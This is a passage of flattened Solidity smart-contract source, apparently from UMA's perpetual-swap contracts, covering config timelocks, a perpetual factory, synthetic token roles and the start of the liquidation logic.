* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/FixedPoint.sol";
interface ConfigStoreInterface {
// All of the configuration settings available for querying by a perpetual.
struct ConfigSettings {
// Liveness period (in seconds) for an update to currentConfig to become official.
uint256 timelockLiveness;
// Reward rate paid to successful proposers. Percentage of 1 E.g., .1 is 10%.
FixedPoint.Unsigned rewardRatePerSecond;
// Bond % (of given contract's PfC) that must be staked by proposers. Percentage of 1, e.g. 0.0005 is 0.05%.
FixedPoint.Unsigned proposerBondPercentage;
// Maximum funding rate % per second that can be proposed.
FixedPoint.Signed maxFundingRate;
// Minimum funding rate % per second that can be proposed.
FixedPoint.Signed minFundingRate;
// Funding rate proposal timestamp cannot be more than this amount of seconds in the past from the latest
// update time.
uint256 proposalTimePastLimit;
}
function updateAndGetCurrentConfig() external returns (ConfigSettings memory);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
* @title EmergencyShutdownable contract.
* @notice Any contract that inherits this contract will have an emergency shutdown timestamp state variable.
* This contract provides modifiers that can be used by children contracts to determine if the contract is
* in the shutdown state. The child contract is expected to implement the logic that happens
* once a shutdown occurs.
*/
abstract contract EmergencyShutdownable {
using SafeMath for uint256;
/****************************************
* EMERGENCY SHUTDOWN DATA STRUCTURES *
****************************************/
// Timestamp used in case of emergency shutdown. 0 if no shutdown has been triggered.
uint256 public emergencyShutdownTimestamp;
/****************************************
* MODIFIERS *
****************************************/
modifier notEmergencyShutdown() {
_notEmergencyShutdown();
_;
}
modifier isEmergencyShutdown() {
_isEmergencyShutdown();
_;
}
/****************************************
* EXTERNAL FUNCTIONS *
****************************************/
constructor() public {
emergencyShutdownTimestamp = 0;
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
function _notEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp == 0);
}
function _isEmergencyShutdown() internal view {
// Note: removed require string to save bytecode.
require(emergencyShutdownTimestamp != 0);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../common/FundingRateApplier.sol";
import "../../common/implementation/FixedPoint.sol";
// Implements FundingRateApplier internal methods to enable unit testing.
contract FundingRateApplierTest is FundingRateApplier {
constructor(
bytes32 _fundingRateIdentifier,
address _collateralAddress,
address _finderAddress,
address _configStoreAddress,
FixedPoint.Unsigned memory _tokenScaling,
address _timerAddress
)
public
FundingRateApplier(
_fundingRateIdentifier,
_collateralAddress,
_finderAddress,
_configStoreAddress,
_tokenScaling,
_timerAddress
)
{}
function calculateEffectiveFundingRate(
uint256 paymentPeriodSeconds,
FixedPoint.Signed memory fundingRatePerSecond,
FixedPoint.Unsigned memory currentCumulativeFundingRateMultiplier
) public pure returns (FixedPoint.Unsigned memory) {
return
_calculateEffectiveFundingRate(
paymentPeriodSeconds,
fundingRatePerSecond,
currentCumulativeFundingRateMultiplier
);
}
// Required overrides.
function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory currentPfc) {
return FixedPoint.Unsigned(collateralCurrency.balanceOf(address(this)));
}
function emergencyShutdown() external override {}
function remargin() external override {}
function _getTokenAddress() internal view override returns (address) {
return address(collateralCurrency);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ConfigStoreInterface.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @notice ConfigStore stores configuration settings for a perpetual contract and provides an interface for it
* to query settings such as reward rates, proposal bond sizes, etc. The configuration settings can be upgraded
* by a privileged account and the upgraded changes are timelocked.
*/
contract ConfigStore is ConfigStoreInterface, Testable, Lockable, Ownable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* STORE DATA STRUCTURES *
****************************************/
// Make currentConfig private to force user to call getCurrentConfig, which returns the pendingConfig
// if its liveness has expired.
ConfigStoreInterface.ConfigSettings private currentConfig;
// Beginning on `pendingPassedTimestamp`, the `pendingConfig` can be published as the current config.
ConfigStoreInterface.ConfigSettings public pendingConfig;
uint256 public pendingPassedTimestamp;
/****************************************
* EVENTS *
****************************************/
event ProposedNewConfigSettings(
address indexed proposer,
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit,
uint256 proposalPassedTimestamp
);
event ChangedConfigSettings(
uint256 rewardRatePerSecond,
uint256 proposerBondPercentage,
uint256 timelockLiveness,
int256 maxFundingRate,
int256 minFundingRate,
uint256 proposalTimePastLimit
);
/****************************************
* MODIFIERS *
****************************************/
// Update config settings if possible.
modifier updateConfig() {
_updateConfig();
_;
}
/**
* @notice Construct the Config Store. An initial configuration is provided and set on construction.
* @param _initialConfig Configuration settings to initialize `currentConfig` with.
* @param _timerAddress Address of testable Timer contract.
*/
constructor(ConfigSettings memory _initialConfig, address _timerAddress) public Testable(_timerAddress) {
_validateConfig(_initialConfig);
currentConfig = _initialConfig;
}
/**
* @notice Returns current config or pending config if pending liveness has expired.
* @return ConfigSettings config settings that calling financial contract should view as "live".
*/
function updateAndGetCurrentConfig()
external
override
updateConfig()
nonReentrant()
returns (ConfigStoreInterface.ConfigSettings memory)
{
return currentConfig;
}
/**
* @notice Propose new configuration settings. New settings go into effect after a liveness period passes.
* @param newConfig Configuration settings to publish after `currentConfig.timelockLiveness` passes from now.
* @dev Callable only by owner. Calling this while there is already a pending proposal will overwrite the pending proposal.
*/
function proposeNewConfig(ConfigSettings memory newConfig) external onlyOwner() nonReentrant() updateConfig() {
_validateConfig(newConfig);
// Warning: This overwrites a pending proposal!
pendingConfig = newConfig;
// Use current config's liveness period to timelock this proposal.
pendingPassedTimestamp = getCurrentTime().add(currentConfig.timelockLiveness);
emit ProposedNewConfigSettings(
msg.sender,
newConfig.rewardRatePerSecond.rawValue,
newConfig.proposerBondPercentage.rawValue,
newConfig.timelockLiveness,
newConfig.maxFundingRate.rawValue,
newConfig.minFundingRate.rawValue,
newConfig.proposalTimePastLimit,
pendingPassedTimestamp
);
}
/**
* @notice Publish any pending configuration settings if there is a pending proposal that has passed liveness.
*/
function publishPendingConfig() external nonReentrant() updateConfig() {}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// Check if pending proposal can overwrite the current config.
function _updateConfig() internal {
// If liveness has passed, publish proposed configuration settings.
if (_pendingProposalPassed()) {
currentConfig = pendingConfig;
_deletePendingConfig();
emit ChangedConfigSettings(
currentConfig.rewardRatePerSecond.rawValue,
currentConfig.proposerBondPercentage.rawValue,
currentConfig.timelockLiveness,
currentConfig.maxFundingRate.rawValue,
currentConfig.minFundingRate.rawValue,
currentConfig.proposalTimePastLimit
);
}
}
function _deletePendingConfig() internal {
delete pendingConfig;
pendingPassedTimestamp = 0;
}
function _pendingProposalPassed() internal view returns (bool) {
return (pendingPassedTimestamp != 0 && pendingPassedTimestamp <= getCurrentTime());
}
// Use this method to constrain values with which you can set ConfigSettings.
function _validateConfig(ConfigStoreInterface.ConfigSettings memory config) internal pure {
// We don't set limits on proposal timestamps because there are already natural limits:
// - Future: price requests to the OptimisticOracle must be in the past---we can't add further constraints.
// - Past: proposal times must always be after the last update time, and a reasonable past limit would be 30
// mins, meaning that no proposal timestamp can be more than 30 minutes behind the current time.
// Make sure timelockLiveness is not too long, otherwise contract might not be able to fix itself
// before a vulnerability drains its collateral.
require(config.timelockLiveness <= 7 days && config.timelockLiveness >= 1 days, "Invalid timelockLiveness");
// The reward rate should be modified as needed to incentivize honest proposers appropriately.
// Additionally, the rate should be less than 100% a year => 100% / 360 days / 24 hours / 60 mins / 60 secs
// = 0.0000033
FixedPoint.Unsigned memory maxRewardRatePerSecond = FixedPoint.fromUnscaledUint(33).div(1e7);
require(config.rewardRatePerSecond.isLessThan(maxRewardRatePerSecond), "Invalid rewardRatePerSecond");
// We don't set a limit on the proposer bond because it is a defense against dishonest proposers. If a proposer
// were to successfully propose a very high or low funding rate, then their PfC would be very high. The proposer
// could theoretically keep their "evil" funding rate alive indefinitely by continuously disputing honest
// proposers, so we would want to be able to set the proposal bond (equal to the dispute bond) higher than their
// PfC for each proposal liveness window. The downside of not limiting this is that the config store owner
// can set it arbitrarily high and preclude a new funding rate from ever coming in. We suggest setting the
// proposal bond based on the configuration's funding rate range like in this discussion:
// https://github.com/UMAprotocol/protocol/issues/2039#issuecomment-719734383
// We also don't set a limit on the funding rate max/min because we might need to allow very high magnitude
// funding rates in extraordinarily volatile market situations. Note, that even though we do not bound
// the max/min, we still recommend that the deployer of this contract set the funding rate max/min values
// to bound the PfC of a dishonest proposer. A reasonable range might be the equivalent of [+200%/year, -200%/year].
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./PerpetualLib.sol";
import "./ConfigStore.sol";
/**
* @title Perpetual Contract creator.
* @notice Factory contract to create and register new instances of perpetual contracts.
* Responsible for constraining the parameters used to construct a new perpetual. This creator contains a number of constraints
* that are applied to newly created contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* Perpetual contract requiring these constraints. However, because `createPerpetual()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract PerpetualCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* PERP CREATOR DATA STRUCTURES *
****************************************/
// Immutable params for perpetual contract.
struct Params {
address collateralAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedPerpetual(address indexed perpetualAddress, address indexed deployerAddress);
event CreatedConfigStore(address indexed configStoreAddress, address indexed ownerAddress);
/**
* @notice Constructs the Perpetual contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of perpetual and registers it within the registry.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed contract.
*/
function createPerpetual(Params memory params, ConfigStore.ConfigSettings memory configSettings)
public
nonReentrant()
returns (address)
{
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
// Create new config settings store for this contract and reset ownership to the deployer.
ConfigStore configStore = new ConfigStore(configSettings, timerAddress);
configStore.transferOwnership(msg.sender);
emit CreatedConfigStore(address(configStore), configStore.owner());
// Create a new synthetic token using the params.
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method,
// then a default precision of 18 will be applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = PerpetualLib.deploy(_convertParams(params, tokenCurrency, address(configStore)));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedPerpetual(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createPerpetual params to Perpetual constructor params.
function _convertParams(
Params memory params,
ExpandedIERC20 newTokenCurrency,
address configStore
) private view returns (Perpetual.ConstructorParams memory constructorParams) {
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want perpetual deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the perpetual unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// To avoid precision loss or overflows, prevent the token scaling from being too large or too small.
FixedPoint.Unsigned memory minScaling = FixedPoint.Unsigned(1e8); // 1e-10
FixedPoint.Unsigned memory maxScaling = FixedPoint.Unsigned(1e28); // 1e10
require(
params.tokenScaling.isGreaterThan(minScaling) && params.tokenScaling.isLessThan(maxScaling),
"Invalid tokenScaling"
);
// Input from function call.
constructorParams.configStoreAddress = configStore;
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.fundingRateIdentifier = params.fundingRateIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.tokenScaling = params.tokenScaling;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../interfaces/FinderInterface.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "./Registry.sol";
import "./Constants.sol";
/**
* @title Base contract for all financial contract creators
*/
abstract contract ContractCreator {
address internal finderAddress;
constructor(address _finderAddress) public {
finderAddress = _finderAddress;
}
function _requireWhitelistedCollateral(address collateralAddress) internal view {
FinderInterface finder = FinderInterface(finderAddress);
AddressWhitelist collateralWhitelist =
AddressWhitelist(finder.getImplementationAddress(OracleInterfaces.CollateralWhitelist));
require(collateralWhitelist.isOnWhitelist(collateralAddress), "Collateral not whitelisted");
}
function _registerContract(address[] memory parties, address contractToRegister) internal {
FinderInterface finder = FinderInterface(finderAddress);
Registry registry = Registry(finder.getImplementationAddress(OracleInterfaces.Registry));
registry.registerContract(parties, contractToRegister);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "./SyntheticToken.sol";
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../../common/implementation/ExpandedERC20.sol";
import "../../common/implementation/Lockable.sol";
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external override nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external override nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external override nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Perpetual.sol";
/**
* @title Provides convenient Perpetual Multi Party contract utilities.
* @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode.
*/
library PerpetualLib {
/**
* @notice Returns address of new Perpetual deployed with given `params` configuration.
* @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed Perpetual contract
*/
function deploy(Perpetual.ConstructorParams memory params) public returns (address) {
Perpetual derivative = new Perpetual(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PerpetualLiquidatable.sol";
/**
* @title Perpetual Multiparty Contract.
* @notice Convenient wrapper for Liquidatable.
*/
contract Perpetual is PerpetualLiquidatable {
/**
* @notice Constructs the Perpetual contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualLiquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PerpetualPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title PerpetualLiquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract PerpetualLiquidatable is PerpetualPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PerpetualPositionManager only.
uint256 withdrawalLiveness;
address configStoreAddress;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
// Params specifically for PerpetualLiquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualPositionManager(
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.fundingRateIdentifier,
params.minSponsorTokens,
params.configStoreAddress,
params.tokenScaling,
params.timerAddress
)
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
